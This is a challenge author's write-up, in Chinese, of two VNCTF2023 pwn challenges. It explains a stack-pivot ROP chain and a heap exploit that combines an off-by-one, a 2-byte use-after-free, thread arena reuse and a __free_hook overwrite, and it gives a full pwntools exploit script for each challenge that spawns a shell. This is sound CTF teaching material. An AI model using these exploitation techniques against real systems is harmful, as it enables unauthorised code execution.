VNCTF2023出题手记

前言

学pwn也有一年了,这还是第一次较为正式的参与比赛的出题。介于本人技术有限,所以两题的难度都不高。

(而且由于经验不足,导致这次我的两题给很多师傅带来了不好的体验,在这里给各位师傅们真诚地磕一个)

(问卷反馈的最爱&最恨的top2都是traveler和鼠鼠的奇妙冒险)

1676823882674.png

traveler

人的一生能有多少次旅行呢

分析

保护只开了NX,main函数很明显的栈溢出。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  init(argc, argv, envp);
  puts("who r u?");
  read(0, buf, 0x30uLL);
  puts("How many travels can a person have in his life?");
  read(0, &msg, 0x28uLL);
  return 0;
}

buf处溢出覆盖rbp之后还能写下一个gadget,并且往msg读了0x28。很明显的栈迁起手式。

因为没有使用去掉csu的版本,所以gadget方面是几乎没有限制的,

> ROPgadget --binary ./traveler | grep pop
0x000000000040117b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401176 : mov byte ptr [rip + 0x2f0b], 1 ; pop rbp ; ret
0x00000000004011da : nop ; pop rbp ; ret
0x00000000004012bc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012be : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012c0 : pop r14 ; pop r15 ; ret
0x00000000004012c2 : pop r15 ; ret
0x00000000004012bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012bf : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040117d : pop rbp ; ret
0x00000000004012c3 : pop rdi ; ret
0x00000000004012c1 : pop rsi ; pop r15 ; ret
0x00000000004012bd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

起system的话,ROP的构造如下:

b'/bin/sh\x00' + p64(pop_rdi) + p64(binsh_addr) + p64(elf.symbols['system'])

只需要0x20的长度即可。

但msg位于.bss的开头,直接起system的话,rsp会减到前面的.got里,然后就会导致crash。

所以考点就在于:

  1. msg位于bss段开头,如果直接在这里起system,栈空间不够
  2. 只有0x28如何写下rop

先来解决第一个问题,如何在.bss中留够栈空间。

这个估计是该题唯一的难点了,但其实也很容易想到,只需要用这0x28的rop调用read,控制rsi为当前rop的结束位置,读入下一段rop并让rsp顺利滑到下一个rop上即可。

光是这么说可能有点抽象,可以看下面这个示意图。

1676006538909.png

重复用这些read来不断抬高rsp,当次数足够时,system的栈空间就留够了。

然后再来看第二个问题,0x28如何写下read。

其实很容易看出来,main函数在返回前调用了read(0, &msg, 0x28),rdi和rdx都已经不用管了,只需要控制rsi为msg+0x28*i就行了。所以有如下构造:

p64(pop_rsi_r15) + p64(bss+0x28*i) + p64(0) + p64(elf.symbols['read']) + p64(ret)

刚好用0x28,且rsp也能滑到下一个rop上。

你看他从栈迁到不断抬栈,像不像经历了许多次旅行

在看了师傅们交上来的wp之后,发现了许多非预期的解法,比如复用main函数代码的就有两种思路,①第一次溢出劫持rsi和rbp之后重新回到0x401244或②在第一次溢出劫持rbp后直接返回0x4012116来劫持rsi,这两种方法都能直接把rop读到bss高位然后借用main本身的function epilogue自然而然的迁移过去。

(优雅,实在是太优雅了.jpg)

还有一位师傅直接使用puts leak出libc之后强行在rop中满足了ogg的条件并调用了ogg来getshell(绝)。

(和这些解法比起来,出题人的预期解低效且丑陋,反而变得更像是非预期了)

exp

from pwn import *
import sys

context.log_level='debug'

path_to_elf = '/home/kotori/Desktop/vnctf/traveler/traveler'

ip = sys.argv[1]
port = int(sys.argv[2])

elf = ELF(path_to_elf)

if port == 0:
	p = process(path_to_elf)
else:
	p = remote(ip, port)


def g(arg=''):
	gdb.attach(p, arg)
	raw_input()

bss = 0x4040a0
leave_ret = 0x0000000000401253 # leave ; ret
pop_rdi = 0x00000000004012c3 # pop rdi ; ret
pop_rsi_r15 = 0x00000000004012c1 # pop rsi ; pop r15 ; ret
ret = pop_rdi + 1

pay = b'a'*0x20 + p64(bss-0x8) + p64(leave_ret)
p.sendafter('u?', pay)

pay = p64(pop_rsi_r15) + p64(bss+0x28) + p64(0)
pay += p64(elf.plt['read']) + p64(ret)

# g()

p.sendafter('e?', pay)

for i in range(2,60):
	pay = p64(pop_rsi_r15) + p64(bss+(0x28*i)) + p64(0)
	pay += p64(elf.plt['read']) + p64(ret)
	p.send(pay)

pay = p64(ret) + p64(pop_rdi) + p64(bss+0x7c8+10*0x28) + p64(elf.symbols['system'])
pay += b'/bin/sh\x00'
p.sendline(pay)

p.interactive()

鼠鼠的奇妙冒险

我的梦想是成为鼠中gangstar!

分析

考虑到比赛时间只有12h且pwn方向题目较多,所以为了减少逆向难度,我直接把源码全部给出来了(不会开发,代码写的比较答辩还请师傅们海涵)

保护全开,为了方便师傅们调试,编译的时候带了符号。

最主要的漏洞点应该还是很好找的,位于game.cfight中。

uint32_t fight(mouse_t *a, mouse_t *b) {
    
	......
    
	switch(sig) {
		case F_WIN:
            
			......
			
			free(b);
			
			// especial mouse will do sth here...
			// ...
			if(b->type == LOST_MOUSE) {
				printf("[lost mouse] I lost my name in a duel in the past.\n");
				printf("[lost mouse] Can you help me find my original name? (y/N)\n");
				printf("[%s]", a->name);
				read(0, buf, 2);
				
				if(buf[0] == 'y' || buf[0] == 'Y') {
					printf("[lost mouse] I only remember that"
						" my name has 2 characters.\n");
					printf("[%s] ", a->name);
					read(0, b->name, 2);
					
					......
                        
				}
			}
            ......
                
    }

    ......
                
}

这里在free(b)之后,如果对方是LOST_MOUSE,就能够直接uaf写2bytes。

暂且不看这里如何利用,先看看如何到达这个有漏洞的代码部分。

整个游戏中调用了fight()的只有loadLevel()dummyFight(),不过要遇到type为LOST_MOUSE的敌人,就只有走dummyFight()这条链子,即:

arena() -> dummyArena() -> dummyFight() -> fight()

想要从进入dummyArena(),还需要满足eeee->attr & S_CLONE

case 0:
			if(eeee->attr & S_CLONE) {
				dummyArena();
				break;
			}

mouse.cuseItemImpl()中可以看到,使用道具book3就能获得这个技能。

else if(!strcmp(obj, "book3")) {
	_this->attr |= S_CLONE;
					
	printf("[God] %s learned new skill: "
	"\033[33mclone\033[m.\n", _this->name);
}

不过想要获得book3,需要大量的coin。

static shopItem_t shop_list[0x8] = {
	{"sword", 5},
	{"shield", 5},
	{"nameTag", 68},
	{"book1", 98},
	{"book2", 198},
	{"book3", 0x114514},
	{"potion1", 5},
	{"potion2", 30},
};

step1. 打怪刷钱

为了买到book3,首先就需要刷钱。

typedef struct MouseAttr {
	uint32_t hp;
	uint32_t atk;
	uint32_t coin;
	uint32_t attr;
	
	char     mayUse[0x10];
} mouseAttr_t;

static mouseAttr_t attr_list[0x8] = {
	{0xeeeea, 0xeeeea, 0xeeeea, S_FIRE|S_HEAL, "eeee"},
	{13, 10, 0, 0, ""},
	{1, 0, 0, 0, "dummy%04u"},
	{10, 5, 1, 0, "normal mouse"},
	{11, 6, 2, 0, "armed mouse"},
	{50, 20, 4, 0, "elite mouse"},
	{80, 80, 0, 0, "lost mouse"},
};

击败BOSS_MOUSE,一次就可以获得0xeeeea的coin,这无疑是最快速的刷钱方法。

不过我们HERO_MOUSEatkhp都远远比不过BOSS_MOUSE,所以需要使用一些小手段。

同样是在useItemImpl()中,会发现一处off by one的查找,

void useItemImpl(mouse_t *_this, char *obj) {
	int i = 0;
	for( ; i <= BAG_CAP; ++i) {  // off by one
		if(!strncmp(obj, _this->bag[i].name, 8)) {
			if(_this->bag[i].attr & I_USEABLE) {
				if(_this->bag[i].count == 0) {
					puts("[God] You don't have that.");
					return;
				}
                ......
                    
			}
			--_this->bag[i].count;
			printf("[God] you used %s, leave %u.\n", \
				_this->bag[i].name, _this->bag[i].count);
		}
	}
}

再结合一下mouse_titem_t的结构

typedef struct Item {
	char name[0x8];
	uint32_t attr;
	uint32_t count;
} item_t;

typedef struct Mouse {
	char name[0x10];
	item_t  bag[BAG_CAP];
	
	uint32_t id;
	uint32_t type;
	uint32_t hp;
	uint32_t atk;
	uint32_t coin;
	uint32_t attr;
	
	void*  (*initBag)(struct Mouse *_this);
	void*  (*useItem)(struct Mouse *_this, char *obj);
	void*  (*queryStat)(struct Mouse *_this);
	void*  (*buyGoods)(struct Mouse *_this, char *obj);
} mouse_t;

bag这里的off by one,会把接下来的{id, type, hp, atk}当做item_t来解析,即{id, type}作为item_t->namehp作为item_t->attratk作为item_t->count

也就是说如果已知我们自己的idtype,然后让_this->bag[i].attr & I_USEABLE为0,

就能借用他的--_this->bag[i].count;来负数溢出我们的atk

溢出到(unsigned)-1之后,就能轻松打赢BOSS_MOUSE,然后刷钱了。

step2. dummyArena与利用的开端

拿到足够的钱之后,去商店购买book3nameTag(这个为以后做准备)。

使用book3学会技能clone之后进入dummyArena

至此,该题的前戏部分结束,从这里开始分析最终的利用思路。

dummyFight中,如果你的对手是NORMAL_MOUSE,就会触发与隐藏的LOST_MOUSE的战斗。

if(ene->type == NORMAL_MOUSE) {
	hiden_ene = malloc(sizeof(mouse_t));
	initMouse(hiden_ene, LOST_MOUSE);
}
	......

if(ene->type == NORMAL_MOUSE \
	&& fight(dummy, hiden_ene)) {
	return ;
}

dummyArena中提供了任意次数随机敌人类型的功能,可以保证想要的线程对上LOST_MOUSE

srand((unsigned)time(NULL));
dummyLevelEnemies[0] = dummyNum;
	
do {
		
	for(i = 1; i < dummyLevelEnemies[0]; ++i) {
		dummyLevelEnemies[i] = rand()%3+3;
	}
		
	printf("[God] your dummies will fight with:\n");
	for(i = 1; i < dummyLevelEnemies[0]; ++i) {
		printf("\033[34m(%u) %s\033[m, ", \
			i, attr_list[dummyLevelEnemies[i]].mayUse);
		if(i % (winCol/22) == 0)
			putchar(0x0A);
	}
	
	printf("\n[God] sure?(y/N)\n");
	printf("[%s] ", eeee->name);
	
	read(0, buf, 2);
	
} while(buf[0]!='y' && buf[0]!='Y');

我们创建的线程数也是可控的。

for(i = 1; i < dummyNum; ++i) {
		pthread_create(&dummyThread[i], NULL, dummyFight, (uint32_t *) &i);
		usleep(10000);
}

一个常识,ptmalloc2针对多线程一般是一个线程对应一个arena,不过在线程数>CPU核心数*8时(在x64下),又会尝试去对之前使用过的arena加lock,然后继续使用。(假设这个docker环境的核心数是2,那么第17个线程就会尝试对main_arena上锁并使用他的空间)

(这也是我让菜单显示选择ARENAS(竞技场)的原因,他其实带有一定的暗示是和glibc的arena相关的trick了hh)

此时,再结合2byte的uaf这个洞,是否隐约可以联想到一些东西了。

在使用tcache的glibc版本中,每个线程都会有一个tcache_pthread_struct,并且在线程结束时会调用tcache_thread_shutdown

static void
tcache_thread_shutdown (void)
{
  int i;
  tcache_perthread_struct *tcache_tmp = tcache;

  if (!tcache)
    return;

  /* Disable the tcache and prevent it from being reinitialized.  */
  tcache = NULL;
  tcache_shutting_down = true;

  /* Free all of the entries and the tcache itself back to the arena
     heap for coalescing.  */
  for (i = 0; i < TCACHE_MAX_BINS; ++i)
    {
      while (tcache_tmp->entries[i])
	{
	  tcache_entry *e = tcache_tmp->entries[i];
	  tcache_tmp->entries[i] = e->next;
	  __libc_free (e);
	}
    }

  __libc_free (tcache_tmp);
}

它会遍历每个entries,然后free掉所有结点。

借用2bytes的uaf,可以达成对部分位置的free。但是由于2bytes的局限性,只能在原来next指针附近找。

所以这个时候,如果该线程是和main_arena共用内存的,那么就可以free掉自己,再配合改名卡就能劫持到next指针。

在每个己方mouse出生的时候都会给出一个坐标,

uint32_t position(mouse_t *m, int pos) {
	return (((uint64_t)m >> (pos*8)) & 0xFFFF) ^ 0xBAAD;
}

对该坐标进行简单解密即可得到堆上的位置。

可以借用这个gift判断服务器环境是第几个线程开始复用main_arena,也可以借用他判断自己的位置和该dummy的位置是否只有最后2bytes不同(如果超过2bytes了,那么就可以重开游戏了,不过这个概率并不大)

还需要注意的是,free自己的时候,自己的name的前8bytes一定要是\x00\x00\x00\x00\x00\x00\x00\x00,不然tcache_thread_shutdown会把这个name当指针去free下一个chunk,大概率会段错误。

因此在原题中我也加了这个判断,

if(*((uint64_t**) (b->name))[0] == O_NAME) {  // O_NAME == 0
	printf("[%2s] that's my name!\n", b->name);
	printf("[%2s] thank you very much!\n", b->name);
						
}
else {
	*((uint64_t *) b->name) = O_NAME;
	printf("[  ] That's not my name. "
		"Maybe I will remember it at the end of my life.\n");
}

step3. 完成后续的利用

free掉自己之后,main_arena的bins结构如下:

pwndbg> bins
tcachebins
0x20 [  2]: 0x55c68921e920 —▸ 0x55c68921e2a0 ◂— 0x0
0xd0 [  1]: 0x55c689229d50 ◂— 0x0
0x120 [  7]: 0x55c68922a4e0 —▸ 0x55c68922a3c0 —▸ 0x55c68922a2a0 —▸ 0x55c68922a180 —▸ 0x55c68922a060 —▸ 0x55c689229f40 —▸ 0x55c689229e20 ◂— 0x0
0x1e0 [  1]: 0x55c68921eeb0 ◂— 0x0
0x370 [  1]: 0x55c68921eb40 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55c68922a5f0 —▸ 0x55c68922c210 —▸ 0x55c689229c70 —▸ 0x7ff7c1b65be0 (main_arena+96) ◂— 0x55c68922a5f0
smallbins
empty
largebins
empty

我们自己的chunk被放入了unsortedbin,且fd就是libc上的地址,所以可以直接通过查询status来leak libc。

然后为了能够打tcache的任意申请,还需要调整一下bin,让这个chunk到tcache bin里去。

这个时候可以借用只有2个enemies的level2,

static uint32_t enemies[LEVELS][LEVEL_MAX_NUM] = {
	{1, NORMAL_MOUSE, USELESS, USELESS, USELESS, USELESS},
	{2, ARMED_MOUSE, ARMED_MOUSE, USELESS, USELESS, USELESS},
	{1, BOSS_MOUSE, USELESS, USELESS, USELESS, USELESS}
};

uint32_t levelEnemies[LEVEL_MAX_NUM];
uint32_t dummyLevelEnemies[LEVEL_MAX_NUM_DUMMY];

mouse_t *ene[LEVEL_MAX_NUM];
void loadLevel(uint32_t lev) {
	int i;
	--lev;
	for(i = 0; i < LEVEL_MAX_NUM; ++i) {
		levelEnemies[i] = enemies[lev][i];
	}
	
	// generate enemies
	for(i = 1; i <= levelEnemies[0]; ++i) {
		ene[i] = malloc(sizeof(mouse_t));
		initMouse(ene[i], levelEnemies[i]);
	}
	
	for(i = 1; i <= levelEnemies[0]; ++i) {
		fight(eeee, ene[i]);
		
		sleep(1);
	}
}

分别malloc和free了两个mouse_t变量之后,我们自己的chunk就来到tcache 0xd0那条entries的头部了,非常舒服。这个时候使用之前囤好的nameTag,就可以劫持next指针了。

remake功能会重新malloc内存,然后送改名卡。

void remake() {
	printf("[God] you wanna remake?\n");
	printf("[God] okay, I'll satisfy you.\n");
	
	char *tmp = eeee->name;
	
	eeee = malloc(sizeof(mouse_t));
	
	initMouse(eeee, HERO_MOUSE);
	strncpy(eeee->name, tmp, strlen(tmp));
	
	printf("[God] ...and I'll give you a nameTag.\n");
	++eeee->bag[2].count;
}

我这里是选择劫持__free_hook-0x8,然后重开两次并改名字为b'/bin/sh\x0A' + p64(system_addr)

不用/bin/sh\x00是因为会截断改名卡中的strncpy。

最后退出游戏,利用doExit()中的free即可getshell。

exp

from pwn import *
import sys

context.log_level = 'debug'

path_to_elf = '/home/kotori/Desktop/vnctf/rats/rats'

ip = sys.argv[1]
port = int(sys.argv[2])

elf = ELF(path_to_elf)
libc = elf.libc

if port == 0:
	p = process(path_to_elf)
else:
	p = remote(ip, port)

sla = lambda x,y : p.sendlineafter(x,y)
sa  = lambda x,y : p.sendafter(x,y)
ru  = lambda x   : p.recvuntil(x)

def g(arg=''):
	if port != 0:
		return
	gdb.attach(p, arg)
	raw_input()

def choice(op):
	sla('choice: ', str(op))

def arena(op):
	choice(1)
	choice(str(op))

def buy(obj):
	choice(2)
	sla('want a', obj)

def use(obj):
	choice(3)
	choice(1)
	ru('use?\n')
	sa(']', obj)

def leak_heap(x, y, z):
	ret = (z ^ 0xBAAD)<<16
	ret = (ret + y ^ 0xBAAD)<<16
	ret += x ^ 0xBAAD
	return ret

sa('> Press any key to start <', b'\x0A')
sa('name is: ', b'\x00'*0x10)

ru(': (')
xx = int(ru(', ')[:-2])
yy = int(ru(', ')[:-2])
zz = int(ru(').')[:-2])

eeee_addr = leak_heap(xx, yy, zz)
print(hex(eeee_addr))

arena(1)

# overflow atk
for i in range(11):
	use(p32(1)+p32(1))

# get coins
for i in range(3):
	arena(3)

# learn clone
buy('book3')
buy('nameTag')
buy('nameTag')
use('book3\n')

num = 17 # 33

arena(0)
sla('summon?', str(num))

content = ru('sure?')
target = '({}) normal mouse'.format(num-1)
print(target)

while bytes(target, encoding='UTF-8') not in content:
	p.sendline('n')
	content = ru('sure?')

sla('(y/N)', 'y')

ru('[God] dummy00{} is spanned at the position: ('.format(num-1))
xx = int(ru(', ')[:-2])
yy = int(ru(', ')[:-2])
zz = int(ru(').')[:-2])

dummy_addr = leak_heap(xx, yy, zz)
print(hex(dummy_addr))

assert (eeee_addr>>16) == (dummy_addr>>16)

ru('[dummy00')
idx = p.recv(2)
while idx != bytes(str(num-1), encoding='UTF-8'):
	p.send('\x0A')
	ru('[dummy00')
	idx = p.recv(2)

p.sendline('y')
sa('[dummy00{}]'.format(num-1), p16(eeee_addr & 0xFFFF))

for i in range(31):
	p.sendline('n')

choice(3)

libc_addr = u64(ru(b'\x7f')[-6:].ljust(0x8, b'\x00')) - 0x1ecbe0
print(hex(libc_addr))

free_hook = libc_addr + libc.symbols['__free_hook']
sys = libc_addr + libc.symbols['system']

choice(2)

# unsortedbin -> tcache bin
arena(2)

use('nameTag\n')
sa('name:', p64(free_hook-0x8))

choice(4)
choice(4)

use('nameTag\n')
sa('name:', b'/bin/sh\x0A' + p64(sys))

g()

choice(5)

p.interactive()